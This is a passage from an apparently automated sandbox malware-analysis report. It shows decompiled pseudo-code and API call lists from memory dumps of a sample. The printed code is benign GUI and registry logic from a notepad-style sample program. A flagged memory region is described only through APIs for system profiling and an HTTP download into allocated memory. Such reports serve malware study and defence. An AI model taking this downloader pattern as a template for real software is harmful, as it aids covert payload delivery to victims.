					DrawTextA(_t171, "\t", 0xffffffff,  &_v24, 0x424);
					if(_v24.right - _v24.left >= 4) {
						 *(_t174 + 0xb0) = 0;
					} else {
						SetRectEmpty( &_v24);
						DrawTextA(_t171, "x", 0xffffffff,  &_v24, 0x424);
						 *(_t174 + 0xb0) = _v24.right - _v24.left;
					}
					SelectObject(_t171, _v584);
					_v580.dwOSVersionInfoSize = 0x94;
					E00106820( &(_v580.dwMajorVersion), 0, 0x90);
					GetVersionExA( &_v580);
					if(_v580.dwMajorVersion < 5) {
						L42:
						return E001059E6(ReleaseDC(_v588, _t171), _t139, _v8 ^ _t175, _v588, _t171, _t174);
					} else {
						_v584 = 1;
						if(SystemParametersInfoA(0x100a, 0,  &_v584, 0) == 0 || _v584 != 0) {
							_t103 = 0;
							__eflags = 0;
						} else {
							_t103 = 1;
						}
						 *(_t174 + 0x85) = (_t103 & 0x00000001 | 0x00000004) + (_t103 & 0x00000001 | 0x00000004) |  *(_t174 + 0x85) & 0x000000fd;
						E00101600( !(((_t103 & 0x00000001 | 0x00000004) + (_t103 & 0x00000001 | 0x00000004) |  *(_t174 + 0x85) & 0x000000fd) >> 1) & 0x00000001, _t174);
						if(_v580.dwMajorVersion != 5) {
							if(__eflags <= 0) {
								goto L42;
							}
							goto L37;
						} else {
							if(_v580.dwMinorVersion >= 1) {
								L37:
								_v584 = 0;
								_t114 = SystemParametersInfoA(0x1022, 0,  &_v584, 0);
								__eflags = _t114;
								if(_t114 == 0) {
									L40:
									_t115 = 0;
									__eflags = 0;
									L41:
									_t79 = _t174 + 0x85;
									 *_t79 =  *(_t174 + 0x85) ^ ( *(_t174 + 0x85) ^ _t115) & 0x00000001;
									__eflags =  *_t79;
									goto L42;
								}
								__eflags = _v584;
								if(_v584 == 0) {
									goto L40;
								}
								_t115 = 1;
								goto L41;
							}
							goto L42;
						}
					}
				}
				_v84 = 0;
				E00106820( &_v80, 0, 0x38);
				_t121 =  *(_t174 + 0xa4);
				_t177 = _t177 + 0xc;
				if(_t121 != 0) {
					GetObjectA(_t121, 0x3c,  &_v84);
				}
				if(_v84 != _v268.lfHeight || _v80 != _v268.lfWidth || _v76 != _v268.lfEscapement || _v72 != _v268.lfOrientation || _v68 != _v268.lfWeight || _v64 != _v268.lfItalic || _v63 != _v268.lfUnderline || _v62 != _v268.lfStrikeOut || _v61 != _v268.lfCharSet || _v60 != _v268.lfOutPrecision || _v59 != _v268.lfClipPrecision || _v58 != _v268.lfQuality || _v57 != _v268.lfPitchAndFamily || lstrcmpA( &_v56,  &(_v268.lfFaceName)) != 0) {
					_t172 = CreateFontIndirectA( &_v268);
					if(_t172 != 0) {
						if( *(_t174 + 0xa4) != 0 && DeleteObject( *(_t174 + 0xa4)) != 0) {
							 *(_t174 + 0xa4) = 0;
						}
						_t123 =  *(_t174 + 0xa4);
						if(_t123 != 0 && _t123 != _t172) {
							DeleteObject(_t123);
						}
						 *(_t174 + 0xa4) = _t172;
						SendMessageA( *(_t174 + 4), 0x30, _t172, 1);
						SendMessageA( *(_t174 + 4), 0x41c, 0, "NS");
						SendMessageA( *(_t174 + 4), 0x421, 0, 0);
					}
				}
				goto L25;
			}

0x001011f9
0x00101200
0x00101215
0x00101217
0x00101221
0x00101226
0x00101240
0x0010139b
0x0010139b
0x0010139f
0x001013ab
0x001013b5
0x001013cb
0x001013ce
0x001013d1
0x001013d4
0x001013d7
0x001013de
0x001013e4
0x001013ef
0x0010141c
0x001013f1
0x001013f5
0x0010140c
0x00101414
0x00101414
0x0010142e
0x00101442
0x0010144c
0x0010145b
0x0010146a
0x00101521
0x0010153f
0x00101470
0x00101480
0x00101492
0x001014a1
0x001014a1
0x0010149d
0x0010149d
0x0010149d
0x001014b4
0x001014c0
0x001014ce
0x001014db
0x00000000
0x00000000
0x00000000
0x001014d0
0x001014d7
0x001014dd
0x001014ed
0x001014f7
0x001014fd
0x001014ff
0x0010150e
0x0010150e
0x0010150e
0x00101510
0x0010151b
0x0010151b
0x0010151b
0x00000000
0x0010151b
0x00101501
0x00101508
0x00000000
0x00000000
0x0010150a
0x00000000
0x0010150a
0x00000000
0x001014d9
0x001014ce
0x0010146a
0x0010124d
0x00101250
0x00101255
0x0010125b
0x00101260
0x00101269
0x00101269
0x00101278
0x0010132c
0x00101330
0x00101338
0x0010134b
0x0010134b
0x00101351
0x00101359
0x00101360
0x00101360
0x00101369
0x0010137b
0x0010138c
0x00101399
0x00101399
0x00101330
0x00000000

APIs

_memset.LIBCMT ref: 00101221
SystemParametersInfoA.USER32(00000029,00000154,00000154,00000000), ref: 00101238
_memset.LIBCMT ref: 00101250
GetObjectA.GDI32(?,0000003C,?), ref: 00101269
lstrcmpA.KERNEL32(?,?,?,?,?,?,?,?), ref: 00101315
CreateFontIndirectA.GDI32(?), ref: 00101326
DeleteObject.GDI32(?), ref: 00101341
DeleteObject.GDI32(?), ref: 00101360
SendMessageA.USER32(?,00000030,00000000,00000001), ref: 0010137B
SendMessageA.USER32(?,0000041C,00000000,00112C34), ref: 0010138C
SendMessageA.USER32(?,00000421,00000000,00000000), ref: 00101399
GetWindowDC.USER32(?,?,?,?), ref: 001013A5
SelectObject.GDI32(00000000,?), ref: 001013B5
DrawTextA.USER32(00000000,00112C38,000000FF,?,00000424), ref: 001013E4
SetRectEmpty.USER32(?), ref: 001013F5
DrawTextA.USER32(00000000,00112C3C,000000FF,?,00000424), ref: 0010140C
SelectObject.GDI32(00000000,?), ref: 0010142E
_memset.LIBCMT ref: 0010144C
GetVersionExA.KERNEL32(00000094,?,?,?,?,?,?), ref: 0010145B
SystemParametersInfoA.USER32(0000100A,00000000,?,00000000), ref: 0010148A
SystemParametersInfoA.USER32(00001022,00000000,00000001,00000000), ref: 001014F7
ReleaseDC.USER32 ref: 00101529

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Object$InfoMessageParametersSendSystem_memset$DeleteDrawSelectText$CreateEmptyFontIndirectRectReleaseVersionWindowlstrcmp
String ID:
API String ID: 3152644950-0
Opcode ID: 86e148b133b59b96048caeecde11733302bddb6ec3e6be266adfd6776523adf3
Instruction ID: 8234cd239013465be8611f72f8f56ac40998e51b966dc9c8e64ca292fe187df6
Opcode Fuzzy Hash: 86e148b133b59b96048caeecde11733302bddb6ec3e6be266adfd6776523adf3
Instruction Fuzzy Hash: 5AA19671900259ABDB21DBA4CD84BEEBBBAFF55310F504498F189AB580D7F45DC4CB21

Uniqueness

Uniqueness Score: -1.00%

Function 0252A747 Relevance: 33.2, APIs: 22, Instructions: 207stringCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(0000009C), ref: 0252A7BE
GetSystemInfo.KERNEL32(?), ref: 0252A7D0
lstrcat.KERNEL32(00000000,0400C8E8), ref: 0252A7F5
lstrcat.KERNEL32(00000000,0400C8F0), ref: 0252A81B
lstrcat.KERNEL32(00000000,0400C930), ref: 0252A904
lstrcat.KERNEL32(00000000,0400C938), ref: 0252A927
lstrcat.KERNEL32(00000000,0400C948), ref: 0252A956
lstrcat.KERNEL32(00000000,0400C958), ref: 0252A979
lstrcat.KERNEL32(00000000,0400C960), ref: 0252A9A5
lstrcat.KERNEL32(00000000,0400C970), ref: 0252A9C8
lstrcat.KERNEL32(00000000,0400C978), ref: 0252A9E9
lstrlen.KERNEL32(?), ref: 0252A9F6
lstrcat.KERNEL32(00000000,0400C980), ref: 0252AA09
lstrcat.KERNEL32(00000000,?), ref: 0252AA1A
lstrlen.KERNEL32(00000000), ref: 0252AA24
lstrcat.KERNEL32(00000000,0400C984), ref: 0252AA3C

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$InfoSystemVersion
String ID:
API String ID: 3139318632-0
Opcode ID: a5e30b84ce4ac81bb781eac5b31e593703bb3f3dedbf034873891d46f711d5e6
Instruction ID: a44799ae8fbf6eef4e4544e06630d10ef94bb314a0f94fc5eb7836a8b9535543
Opcode Fuzzy Hash: a5e30b84ce4ac81bb781eac5b31e593703bb3f3dedbf034873891d46f711d5e6
Instruction Fuzzy Hash: F7816C74504269EBFB289F60C849BAD7B75FB06301F008659F945BA2C0D778D9C9CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 02523007 Relevance: 31.8, APIs: 16, Strings: 2, Instructions: 260networkfilememoryCOMMON

Download Yara Rule

APIs

InternetCrackUrlA.WININET(00000000,00000000,00000000,0000003C), ref: 025230C9
InternetOpenA.WININET(0400C2CC,00000001,00000000,00000000,00000000), ref: 025230E4
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0252311D
HttpOpenRequestA.WININET(00000000,0400C304,?,00000000,00000000,0400C2C8,00200300,00000000), ref: 0252315B
wnsprintfA.SHLWAPI ref: 02523189
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,00000000), ref: 025231A4
InternetSetOptionA.WININET(00000000,00000006,00007530,00000004), ref: 025231DD
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 02523234
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 02523260
HttpQueryInfoA.WININET(00000000,00000005,?,00000100,00000000), ref: 025232CE
VirtualAlloc.KERNEL32(00000000,00500000,00003000,00000004), ref: 0252331E
InternetReadFile.WININET(00000000,00000000,?,00000000), ref: 02523386
InternetReadFile.WININET(00000000,?,00000400,00000000), ref: 02523404
InternetCloseHandle.WININET(00000000), ref: 0252343C
InternetCloseHandle.WININET(00000000), ref: 02523449
InternetCloseHandle.WININET(00000000), ref: 02523456

Strings

0u, xrefs: 025231B2
<, xrefs: 02523084

Memory Dump Source

Source File: 00000000.00000002.719355201.0000000002520000.00000040.00000800.00020000.00000000.sdmp, Offset: 02520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2520000_fs7AQcREFX.jbxd

Yara matches

Similarity

API ID: Internet$Http$CloseHandleRequest$FileInfoOpenQueryRead$AllocConnectCrackHeadersOptionSendVirtualwnsprintf
String ID: 0u$<
API String ID: 880997049-1574047783
Opcode ID: c414b28dcc46312f03040d757c113d134bcc881009854cc6b25f51f376501bb5
Instruction ID: 723785be5bc0ad57aed5dcdb6f80d12a0be35e043e48ac70550757f84263fec0
Opcode Fuzzy Hash: c414b28dcc46312f03040d757c113d134bcc881009854cc6b25f51f376501bb5
Instruction Fuzzy Hash: 4CC1FDB19442289BEB24CF50CC49BD977B5FB85704F0041D9E60DA62C0DB7AAE94CF55

Uniqueness

Uniqueness Score: -1.00%

Function 000FA4A0 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 244
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E000FA4A0(void* __ecx, int _a4, signed short _a8) {
				int _v8;
				char _v16;
				signed int _v20;
				char _v76;
				int _v80;
				char _v600;
				char _v604;
				void* _v608;
				int _v612;
				struct HINSTANCE__* _v616;
				intOrPtr _v620;
				CHAR* _v624;
				struct HINSTANCE__* _v628;
				struct HINSTANCE__* _v632;
				int _v636;
				long _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t74;
				signed int _t75;
				signed short _t78;
				CHAR* _t79;
				struct HRSRC__* _t80;
				struct HWND__* _t81;
				void* _t83;
				long _t86;
				long _t90;
				struct HINSTANCE__* _t97;
				signed int _t102;
				signed short _t107;
				signed int _t109;
				short* _t124;
				void* _t127;
				signed int _t133;
				signed short _t139;
				signed short _t143;
				intOrPtr _t149;
				void* _t150;
				void* _t157;
				void* _t158;
				struct HINSTANCE__* _t160;
				void* _t161;
				struct HWND__* _t164;
				signed int _t167;
				void* _t175;

				_push(0xffffffff);
				_push(E0010F4BB);
				_push( *[fs:0x0]);
				_t74 =  *0x159060; // 0x1f9a9bdf
				_t75 = _t74 ^ _t167;
				_v20 = _t75;
				_push(_t75);
				 *[fs:0x0] =  &_v16;
				_t160 =  *0x170c0c;
				_v612 = _a4;
				_t78 = _a8;
				_v632 = _t78;
				_t79 = _t78 & 0x0000ffff;
				_v608 = __ecx;
				_v628 = _t160;
				_v624 = _t79;
				_t80 = FindResourceA(_t160, _t79, 0xf1);
				if(_t80 == 0) {
					L7:
					_t81 = 0;
					L31:
					 *[fs:0x0] = _v16;
					_pop(_t157);
					_pop(_t161);
					_pop(_t127);
					return E001059E6(_t81, _t127, _v20 ^ _t167, _t148, _t157, _t161);
				}
				_t83 = LoadResource(_t160, _t80);
				if(_t83 == 0) {
					goto L7;
				}
				_t158 = LockResource(_t83);
				if(_t158 == 0) {
					goto L7;
				}
				_v636 =  *(_t158 + 6) & 0x0000ffff;
				_v604 = 0;
				_v8 = 0;
				_t86 = E000FFEA0( *(_t158 + 6) & 0x0000ffff, _t158,  &_v604);
				_v640 = _t86;
				if(_t86 != 0) {
					_t149 = 0;
					_t133 = 0;
					_v620 = 0;
					if(0 >=  *(_t158 + 6)) {
						L15:
						_t148 = _v612;
						_t164 = CreateWindowExA(0, "ToolbarWindow32", 0, 0x5600094c, 0, 0, 0x64, 0x64, _v612, _v608,  *0x170c08, 0);
						if(_t164 != 0) {
							SendMessageA(_t164, 0x41e, 0x14, 0);
							_t90 = SendMessageA(_t164, 0x31, 0, 0);
							_v608 = _t90;
							if(_t90 == 0) {
								_v608 = GetStockObject(0x11);
							}
							_v80 = 0;
							E00106820( &_v76, 0, 0x38);
							_t150 =  &_v80;
							GetObjectA(_v608, 0x3c, _t150);
							asm("cdq");
							_t97 =  *0x170c0c;
							_v608 = (_v80 ^ _t150) - _t150 & 0x0000ffff;
							_v612 = _t97;
							_t102 =  *(LockResource(LoadResource(_v612, FindResourceA(_t97, _v624, 2))) + 0xe) & 0x0000ffff;
							if(_t102 <= 4) {
								_v616 = _v628;
								_push( &_v616);
								_push(_v620);
								_v612 = 0;
								_v612 = _v632;
								_push(0x413);
							} else {
								_t146 = 0xff000000;
								if(_t102 == 0x20) {
									_t146 = 0xffffffffffffffff;
								}
								_push(ImageList_LoadImageA( *0x170c0c, _v624,  *(_t158 + 2) & 0x0000ffff, 1, _t146, 0, 0x2040));
								_push(0);
								_push(0x430);
							}
							SendMessageA(_t164, ??, ??, ??);
							SendMessageA(_t164, 0x414, _v636, _v640);
							_t107 =  *(_t158 + 4) & 0x0000ffff;
							_t139 = _v608;
							if(_t107 <= _t139) {
								_t107 = _t139 & 0x0000ffff;
							}
							SendMessageA(_t164, 0x420, 0, (_t107 & 0x0000ffff) << 0x00000010 |  *(_t158 + 2) & 0x0000ffff);
							_t109 =  *(_t158 + 4) & 0x0000ffff;
							_t143 = _v608;
							if(_t109 <= _t143) {
								_t109 = _t143 & 0x0000ffff;
							}
							_t148 =  *(_t158 + 2) + 0x00000007 & 0x0000ffff;
							SendMessageA(_t164, 0x41f, 0, (_t109 + 0x00000007 & 0x0000ffff) << 0x00000010 |  *(_t158 + 2) + 0x00000007 & 0x0000ffff);
							if(_v604 !=  &_v600) {
								E000FD040( &_v604);
							}
							_t81 = _t164;
							goto L31;
						}
						L5:
						if(_t175 != 0) {
							E000FD040( &_v604);
						}
						goto L7;
					}
					_t124 = _t86 + 8;
					do {
						if( *(_t158 + 8 + _t133 * 2) == 0) {
							 *((intOrPtr*)(_t124 - 8)) = 8;
							 *(_t124 - 4) = 0;
							 *_t124 = 0x100;
						} else {
							 *((intOrPtr*)(_t124 - 8)) = _t149;
							_t149 = _t149 + 1;
							 *(_t124 - 4) =  *(_t158 + 8 + _t133 * 2) & 0x0000ffff;
							 *_t124 = 4;
						}
						 *((intOrPtr*)(_t124 + 8)) = 0;
						 *((intOrPtr*)(_t124 + 4)) = 0;
						_t133 = _t133 + 1;
						_t124 = _t124 + 0x14;
					} while (_t133 < ( *(_t158 + 6) & 0x0000ffff));
					_v620 = _t149;
					goto L15;
				}
				_t148 =  &_v600;
				_t175 = _v604 -  &_v600;
				goto L5;
			}

0x000fa4a3
0x000fa4a5
0x000fa4b0
0x000fa4b7
0x000fa4bc
0x000fa4be
0x000fa4c4
0x000fa4c8
0x000fa4d1
0x000fa4d7
0x000fa4dd
0x000fa4e0
0x000fa4e6
0x000fa4f0
0x000fa4f6
0x000fa4fc
0x000fa502
0x000fa50c
0x000fa568
0x000fa568
0x000fa7b0
0x000fa7b3
0x000fa7bb
0x000fa7bc
0x000fa7bd
0x000fa7cb
0x000fa7cb
0x000fa510
0x000fa518
0x00000000
0x00000000
0x000fa521
0x000fa525
0x00000000
0x00000000
0x000fa52b
0x000fa531
0x000fa53d
0x000fa540
0x000fa545
0x000fa54d
0x000fa56f
0x000fa573
0x000fa575
0x000fa57f
0x000fa5c5
0x000fa5d0
0x000fa5f2
0x000fa5f6
0x000fa612
0x000fa61d
0x000fa623
0x000fa62b
0x000fa635
0x000fa635
0x000fa642
0x000fa645
0x000fa653
0x000fa65a
0x000fa663
0x000fa673
0x000fa67a
0x000fa680
0x000fa6a1
0x000fa6a8
0x000fa6f3
0x000fa6ff
0x000fa700
0x000fa701
0x000fa707
0x000fa70d
0x000fa6aa
0x000fa6aa
0x000fa6b2
0x000fa6b4
0x000fa6b4
0x000fa6d8
0x000fa6d9
0x000fa6da
0x000fa6da
0x000fa713
0x000fa72d
0x000fa733
0x000fa737
0x000fa740
0x000fa742
0x000fa742
0x000fa759
0x000fa75f
0x000fa763
0x000fa76c
0x000fa76e
0x000fa76e
0x000fa77f
0x000fa78f
0x000fa7a1
0x000fa7a9
0x000fa7a9
0x000fa7ae
0x00000000
0x000fa7ae
0x000fa55b
0x000fa55b
0x000fa563
0x000fa563
0x00000000
0x000fa55b
0x000fa581
0x000fa584
0x000fa589
0x000fa59e
0x000fa5a5
0x000fa5a8
0x000fa58b
0x000fa58b
0x000fa593
0x000fa594
0x000fa597
0x000fa597
0x000fa5ad
0x000fa5b0
0x000fa5b7
0x000fa5b8
0x000fa5bb
0x000fa5bf
0x00000000
0x000fa5bf
0x000fa54f
0x000fa555
0x00000000

APIs

FindResourceA.KERNEL32(000F0000,89044E8B,000000F1), ref: 000FA502
LoadResource.KERNEL32(000F0000,00000000,?,00000000), ref: 000FA510
LockResource.KERNEL32(00000000,?,00000000), ref: 000FA51B
CreateWindowExA.USER32 ref: 000FA5EC
SendMessageA.USER32(00000000,0000041E,00000014,00000000), ref: 000FA612
SendMessageA.USER32(00000000,00000031,00000000,00000000), ref: 000FA61D
GetStockObject.GDI32(00000011), ref: 000FA62F
_memset.LIBCMT ref: 000FA645
GetObjectA.GDI32(?,0000003C,?), ref: 000FA65A
FindResourceA.KERNEL32(000F0000,?,00000002), ref: 000FA686
LoadResource.KERNEL32(?,00000000,?,?,00000000), ref: 000FA694
LockResource.KERNEL32(00000000,?,?,00000000), ref: 000FA69B
ImageList_LoadImageA.COMCTL32(000F0000,?,?,00000001,FF000000,00000000,00002040,?,?,00000000), ref: 000FA6D2
SendMessageA.USER32(00000000,00000413,?,?), ref: 000FA713
SendMessageA.USER32(00000000,00000414,00000000,?), ref: 000FA72D
SendMessageA.USER32(00000000,00000420,00000000,?), ref: 000FA759
SendMessageA.USER32(00000000,0000041F,00000000,?), ref: 000FA78F

Strings

ToolbarWindow32, xrefs: 000FA5E6

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageResourceSend$Load$FindImageLockObject$CreateList_StockWindow_memset
String ID: ToolbarWindow32
API String ID: 325547664-4104838417
Opcode ID: 73871c4f38c09b2457adb8046520a619a96b11970630c685e70fa3157b4f9b22
Instruction ID: cc7e5f6ee6edeb7368361688fcb614b15edbefde48c978357298c08d437a1b18
Opcode Fuzzy Hash: 73871c4f38c09b2457adb8046520a619a96b11970630c685e70fa3157b4f9b22
Instruction Fuzzy Hash: 529172B0A04628AFDB24DF14CC88ABAB7B8FB48701F10819AF649E7690D7745DC0DF64

Uniqueness

Uniqueness Score: -1.00%

Function 000FB460 Relevance: 30.0, APIs: 13, Strings: 4, Instructions: 202
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E000FB460(int** _a4) {
				char _v8;
				char _v16;
				signed int _v20;
				short _v23;
				intOrPtr _v27;
				intOrPtr _v31;
				char _v32;
				char _v299;
				char _v300;
				char _v564;
				void* _v568;
				int _v572;
				int _v576;
				void* _v580;
				char _v584;
				int** _v588;
				int* _v592;
				int* _v596;
				int* _v600;
				int* _v604;
				int* _v608;
				int* _v612;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t68;
				signed int _t69;
				void* _t73;
				char _t80;
				void* _t84;
				void* _t86;
				void* _t87;
				int _t97;
				int _t98;
				int* _t106;
				void* _t107;
				void* _t122;
				void* _t123;
				int** _t124;
				void* _t128;
				void* _t129;
				int* _t130;
				void* _t132;
				signed int _t133;
				void* _t134;
				void* _t135;
				void* _t136;

				_push(0xffffffff);
				_push(E0010F486);
				_push( *[fs:0x0]);
				_t135 = _t134 - 0x258;
				_t68 =  *0x159060; // 0x1f9a9bdf
				_t69 = _t68 ^ _t133;
				_v20 = _t69;
				_push(_t69);
				 *[fs:0x0] =  &_v16;
				_t106 = 0;
				_v588 = _a4;
				_v600 = 0;
				_v596 = 0;
				_v592 = 0;
				_v8 = 0;
				_v612 = 0;
				_v608 = 0;
				_v604 = 0;
				_v8 = 1;
				_v580 = 0;
				if(RegOpenKeyExA(0x80000001, "Software\\Microsoft\\WTL Samples\\MTPad", 0, 0x2001f,  &_v580) != 0) {
					L8:
					_t73 = 0;
					L36:
					 *[fs:0x0] = _v16;
					_pop(_t122);
					_pop(_t128);
					_pop(_t107);
					return E001059E6(_t73, _t107, _v20 ^ _t133, _t118, _t122, _t128);
				}
				_t123 = _v580;
				_t118 =  &_v568;
				_v596 = 0;
				_v600 = _t123;
				_v568 = 0;
				if(RegOpenKeyExA(_t123, "Recent Document List", 0, 0x2001f,  &_v568) != 0) {
					L6:
					if(_t123 != _t106) {
						RegCloseKey(_t123);
					}
					goto L8;
				}
				_t129 = _v568;
				_t118 =  &_v576;
				_v608 = 0;
				_v612 = _t129;
				_v584 = 0;
				_v572 = 4;
				if(RegQueryValueExA(_t129, "DocumentCount", 0,  &_v576,  &_v584,  &_v572) != 0 || _v576 != 4) {
					if(_t129 != _t106) {
						RegCloseKey(_t129);
					}
					goto L6;
				} else {
					_t80 = _v584;
					if(_t80 >= 2) {
						if(_t80 > 0x10) {
							_t80 = 0x10;
						}
					} else {
						_t80 = 2;
					}
					_t124 = _v588;
					_t124[3] = _t80;
					_t81 =  *_t124;
					if( *_t124 != _t106) {
						E00105DE2(_t81);
						_t135 = _t135 + 4;
						 *_t124 = _t106;
					}
					_t124[1] = _t106;
					_t124[2] = _t106;
					_v300 = _t106;
					E00106820( &_v299, _t106, 0x103);
					_t130 = _t124[3];
					_t136 = _t135 + 0xc;
					if(_t130 <= _t106) {
						L27:
						if(_v568 != _t106) {
							RegCloseKey(_v568);
							_v612 = _t106;
						}
						_t84 = _v580;
						if(_t84 != _t106) {
							RegCloseKey(_t84);
							_v600 = _t106;
						}
						_t132 = E000FD690(_t118, _v588);
						_t86 = _v612;
						if(_t86 != _t106) {
							RegCloseKey(_t86);
						}
						_t87 = _v600;
						if(_t87 != _t106) {
							RegCloseKey(_t87);
						}
						_t73 = _t132;
						goto L36;
					} else {
						do {
							_v32 = _t106;
							_v31 = 0;
							_v27 = 0;
							_v23 = 0;
							E000F4980( &_v32, "Document%i", _t130);
							_t136 = _t136 + 8;
							_t118 = _v568;
							_v572 = 0x104;
							if(RegQueryValueExA(_v568,  &_v32, _t106,  &_v576,  &_v300,  &_v572) != _t106) {
								goto L26;
							}
							_t97 = _v576;
							if(_t97 == 1 || _t97 == 2) {
								_t98 = _v572;
								if(_t98 == _t106) {
									_v300 = _t106;
									L23:
									if(lstrlenA( &_v300) < 0x104) {
										_t118 =  &_v564;
										lstrcpyA( &_v564,  &_v300);
									}
									E000FD980( &_v564, _t124);
									_t106 = 0;
									goto L26;
								}
								if( *((intOrPtr*)(_t133 + _t98 - 0x129)) == _t106) {
									goto L23;
								}
							}
							L26:
							_t130 = _t130 - 1;
						} while (_t130 > _t106);
						goto L27;
					}
				}
			}

0x000fb463
0x000fb465
0x000fb470
0x000fb471
0x000fb477
0x000fb47c
0x000fb47e
0x000fb484
0x000fb488
0x000fb491
0x000fb493
0x000fb499
0x000fb49f
0x000fb4a5
0x000fb4ab
0x000fb4ae
0x000fb4b4
0x000fb4ba
0x000fb4cd
0x000fb4e1
0x000fb4eb
0x000fb589
0x000fb589
0x000fb70b
0x000fb70e
0x000fb716
0x000fb717
0x000fb718
0x000fb726
0x000fb726
0x000fb4f1
0x000fb4f7
0x000fb50a
0x000fb510
0x000fb516
0x000fb520
0x000fb57e
0x000fb580
0x000fb583
0x000fb583
0x00000000
0x000fb580
0x000fb522
0x000fb536
0x000fb544
0x000fb54a
0x000fb550
0x000fb556
0x000fb568
0x000fb575
0x000fb578
0x000fb578
0x00000000
0x000fb590
0x000fb590
0x000fb599
0x000fb5a5
0x000fb5a7
0x000fb5a7
0x000fb59b
0x000fb59b
0x000fb59b
0x000fb5ac
0x000fb5b2
0x000fb5b5
0x000fb5b9
0x000fb5bc
0x000fb5c1
0x000fb5c4
0x000fb5c4
0x000fb5d3
0x000fb5d6
0x000fb5d9
0x000fb5df
0x000fb5e4
0x000fb5e7
0x000fb5ec
0x000fb6b2
0x000fb6be
0x000fb6c7
0x000fb6c9
0x000fb6c9
0x000fb6cf
0x000fb6d7
0x000fb6da
0x000fb6dc
0x000fb6dc
0x000fb6ed
0x000fb6ef
0x000fb6f7
0x000fb6fa
0x000fb6fa
0x000fb6fc
0x000fb704
0x000fb707
0x000fb707
0x000fb709
0x00000000
0x000fb5f2
0x000fb5f2
0x000fb5fd
0x000fb600
0x000fb603
0x000fb606
0x000fb60a
0x000fb60f
0x000fb620
0x000fb633
0x000fb645
0x00000000
0x00000000
0x000fb647
0x000fb650
0x000fb657
0x000fb65f
0x000fb66c
0x000fb672
0x000fb684
0x000fb68d
0x000fb694
0x000fb694
0x000fb6a2
0x000fb6a7
0x00000000
0x000fb6a7
0x000fb668
0x00000000
0x00000000
0x000fb66a
0x000fb6a9
0x000fb6a9
0x000fb6aa
0x00000000
0x000fb5f2
0x000fb5ec

APIs

RegOpenKeyExA.ADVAPI32(80000001,Software\Microsoft\WTL Samples\MTPad,00000000,0002001F,?,1F9A9BDF,?,?,7490B980), ref: 000FB4E7
RegOpenKeyExA.ADVAPI32(?,Recent Document List,00000000,0002001F,?), ref: 000FB51C
RegQueryValueExA.ADVAPI32(?,DocumentCount,00000000,?,?,?), ref: 000FB560
RegCloseKey.ADVAPI32(?), ref: 000FB578
RegCloseKey.ADVAPI32(?), ref: 000FB583
_memset.LIBCMT ref: 000FB5DF
RegQueryValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004), ref: 000FB63D
lstrlenA.KERNEL32(?), ref: 000FB679
lstrcpyA.KERNEL32(?,?), ref: 000FB694
RegCloseKey.ADVAPI32(?), ref: 000FB6C7
RegCloseKey.ADVAPI32(?), ref: 000FB6DA
RegCloseKey.ADVAPI32(?), ref: 000FB6FA
RegCloseKey.ADVAPI32(?), ref: 000FB707

Strings

Recent Document List, xrefs: 000FB504
DocumentCount, xrefs: 000FB53E
Software\Microsoft\WTL Samples\MTPad, xrefs: 000FB4D7
Document%i, xrefs: 000FB5F5

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
